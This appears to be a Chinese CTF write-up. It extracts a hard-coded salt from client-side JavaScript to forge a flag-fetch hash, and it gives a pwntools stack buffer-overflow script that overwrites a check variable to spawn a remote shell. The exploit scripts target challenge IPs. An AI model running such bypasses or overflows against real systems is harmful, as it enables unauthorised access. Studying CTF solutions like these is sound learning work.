[+] 找到 hashArray 在位置 621572

=== hashArray 上下文 ===
   framework: e.framework || "react",
            basePath: e.basePath ?? i2(),
            ...e.route !== void 0 && {
                disableAutoTrack: !0
            },
            ...e
        })
    }
    , []),
    z.useEffect(()=>{
        e.route && e.path && s2({
            route: e.route,
            path: e.path
        })
    }
    , [e.route, e.path]),
    null
}
Rr.createRoot(document.getElementById("root")).render(h.jsxs(ef.StrictMode, {
    children: [h.jsx(Xy, {}), h.jsx(n2, {})]
}));

window.verifyAndFetchFlag = async function(e, t) {
    const salt = "hIKHxjySfD9IXSw88dBi03QUJWUdoank";
    const msg = salt + e.toString() + t.toString();
    const msgBuffer = new TextEncoder().encode(msg);
    const hashBuffer = await crypto.subtle.digest('SHA-256', msgBuffer);
    const hashArray = Array.from(new Uint8Array(hashBuffer));
    const hashHex = hashArray.map(b => b.toString(16).padStart(2, '0')).join('');
    
    console.log('Verifying...', e, t);
    
    fetch('/secrets/' + hashHex + '.txt')
        .then(response => {
            if (response.ok) return response.text();
            throw new Error('404 Not Found');
        })
        .then(flag => {
            navigator.clipboard.writeText(flag.trim());
            alert('Success! Flag copied: ' + flag.trim())


[*] 搜索 crypto/SHA 相关...

[+] 找到 'crypto.subtle' 在位置 621518
tion(e, t) {
    const salt = "hIKHxjySfD9IXSw88dBi03QUJWUdoank";
    const msg = salt + e.toString() + t.toString();
    const msgBuffer = new TextEncoder().encode(msg);
    const hashBuffer = await crypto.subtle.digest('SHA-256', msgBuffer);
    const hashArray = Array.from(new Uint8Array(hashBuffer));
    const hashHex = hashArray.map(b => b.toString(16).padStart(2, '0')).join('');
    
    console.log('Verifying...', e, t);
    
    fetch('/secrets/' + hashHex + '.txt')
        .then(respons

[+] 找到 'SHA-256' 在位置 621540
 salt = "hIKHxjySfD9IXSw88dBi03QUJWUdoank";
    const msg = salt + e.toString() + t.toString();
    const msgBuffer = new TextEncoder().encode(msg);
    const hashBuffer = await crypto.subtle.digest('SHA-256', msgBuffer);
    const hashArray = Array.from(new Uint8Array(hashBuffer));
    const hashHex = hashArray.map(b => b.toString(16).padStart(2, '0')).join('');
    
    console.log('Verifying...', e, t);
    
    fetch('/secrets/' + hashHex + '.txt')
        .then(response => {
            if 

[+] 找到 'digest' 在位置 141169
   while (s);
        var i = a
    } catch (n) {
        i = `
Error generating stack: ` + n.message + `
` + n.stack
    }
    return {
        value: e,
        source: t,
        stack: i,
        digest: null
    }
}
function fr(e, t, a) {
    return {
        value: e,
        source: null,
        stack: a ?? null,
        digest: t ?? null
    }
}
function po(e, t) {
    try {
        console.error(t.value)
    } catch (a) {
        setTimeout(function() {
            throw a
        })
 


[*] 搜索 /secrets/ 路径...
[+] 找到 /secrets/ 在位置 621766

=== secrets 上下文 ===
2, {})]
}));

window.verifyAndFetchFlag = async function(e, t) {
    const salt = "hIKHxjySfD9IXSw88dBi03QUJWUdoank";
    const msg = salt + e.toString() + t.toString();
    const msgBuffer = new TextEncoder().encode(msg);
    const hashBuffer = await crypto.subtle.digest('SHA-256', msgBuffer);
    const hashArray = Array.from(new Uint8Array(hashBuffer));
    const hashHex = hashArray.map(b => b.toString(16).padStart(2, '0')).join('');
    
    console.log('Verifying...', e, t);
    
    fetch('/secrets/' + hashHex + '.txt')
        .then(response => {
            if (response.ok) return response.text();
            throw new Error('404 Not Found');
        })
        .then(flag => {
       


[*] 搜索 999 相关...
[+] const dm = .999999999999

关键信息:

const salt = "hIKHxjySfD9IXSw88dBi03QUJWUdoank";
const msg = salt + e.toString() + t.toString();  // e=score, t=totalRounds
// SHA-256(msg) -> hashHex
// fetch('/secrets/' + hashHex + '.txt')

题目要求999轮全对,所以 e=999, t=999


攻击脚本:

#!/usr/bin/env python3
"""
CTF AI Detector - 直接获取Flag
逻辑: SHA256(salt + score + totalRounds) -> /secrets/{hash}.txt
"""

import hashlib
import requests

TARGET = "http://47.122.52.77:33747"
SALT = "hIKHxjySfD9IXSw88dBi03QUJWUdoank"

def calculate_hash(score, total_rounds):
    """计算验证hash"""
    msg = SALT + str(score) + str(total_rounds)
    hash_hex = hashlib.sha256(msg.encode()).hexdigest()
    return hash_hex

def get_flag(score, total_rounds):
    """获取flag"""
    hash_hex = calculate_hash(score, total_rounds)
    url = f"{TARGET}/secrets/{hash_hex}.txt"
    
    print(f"[*] Score: {score}/{total_rounds}")
    print(f"[*] Message: {SALT}{score}{total_rounds}")
    print(f"[*] SHA256: {hash_hex}")
    print(f"[*] URL: {url}")
    
    resp = requests.get(url)
    if resp.status_code == 200:
        print(f"\n[+] SUCCESS! Flag: {resp.text.strip()}")
        return resp.text.strip()
    else:
        print(f"[-] Failed: {resp.status_code}")
        return None

if __name__ == "__main__":
    print("""
    ╔═══════════════════════════════════════════════════════════╗
    ║     CTF AI Detector - Direct Flag Retrieval               ║
    ║     Bypass: Calculate SHA256 hash directly                ║
    ╚═══════════════════════════════════════════════════════════╝
    """)
    
    # 题目要求999轮全对
    flag = get_flag(999, 999)
    
    if not flag:
        # 尝试其他可能的组合
        print("\n[*] 尝试其他组合...")
        for score, total in [(1000, 1000), (999, 1000), (100, 100)]:
            print(f"\n--- 尝试 {score}/{total} ---")
            result = get_flag(score, total)
            if result:
                break

image-20251208143248595


Pwn

Magic Over

题目描述: 我们在对旧资产进行盘点时,发现了一个遗留的系统调试接口

1. 静态分析

main 函数中的关键部分:

  • 栈布局:

    • sub rsp, 40h:栈空间分配了 0x40 (64) 字节
    • s (输入缓冲区) 位于 [rbp-0x40]
    • var_8 (校验变量) 位于 [rbp-8]
  • 初始状态:

    • mov [rbp+var_8], 4030201h:程序开始时将 var_8 初始化为 0x4030201
  • 输入漏洞:

    • call _fgets 读取数据到 [rbp-0x40],长度限制为 0x40 (64字节)
  • 距离计算:

    • 输入缓冲区 s 起始地址:rbp - 0x40 (十进制 -64)
    • 目标变量 var_8 起始地址:rbp - 0x8 (十进制 -8)
    • 偏移量 (Offset) = 64−8=56 字节
  • 成功条件:

    • cmp [rbp+var_8], 0C0FEBABEh:如果 var_8 的值变成 0xC0FEBABE,则执行 system("/bin/sh")

2. 完整脚本

from pwn import *

# 设置目标架构和日志级别
context.arch = 'amd64'
context.log_level = 'debug'

# 连接远程题目
# IP: 47.122.52.77, PORT: 33533
io = remote('47.122.52.77', 33533)

# 偏移量计算: 0x40 - 0x08 = 56
offset = 56

# 目标值: 0xC0FEBABE
target_value = 0xC0FEBABE

# 构造 Payload
# 1. 填充 56 个字节到达 var_8 的位置
# 2. 写入 0xC0FEBABE (p64 会将其打包成 8字节小端序)
payload = b'A' * offset + p64(target_value)

# 接收输出直到提示输入
io.recvuntil(b"Enter data to overwrite buffer: ")

# 发送 Payload
io.sendline(payload)

# 进入交互模式 (拿到 shell)
io.interactive()

flag在环境变量里

image-20251208143319326

Tagged: CTF

评论区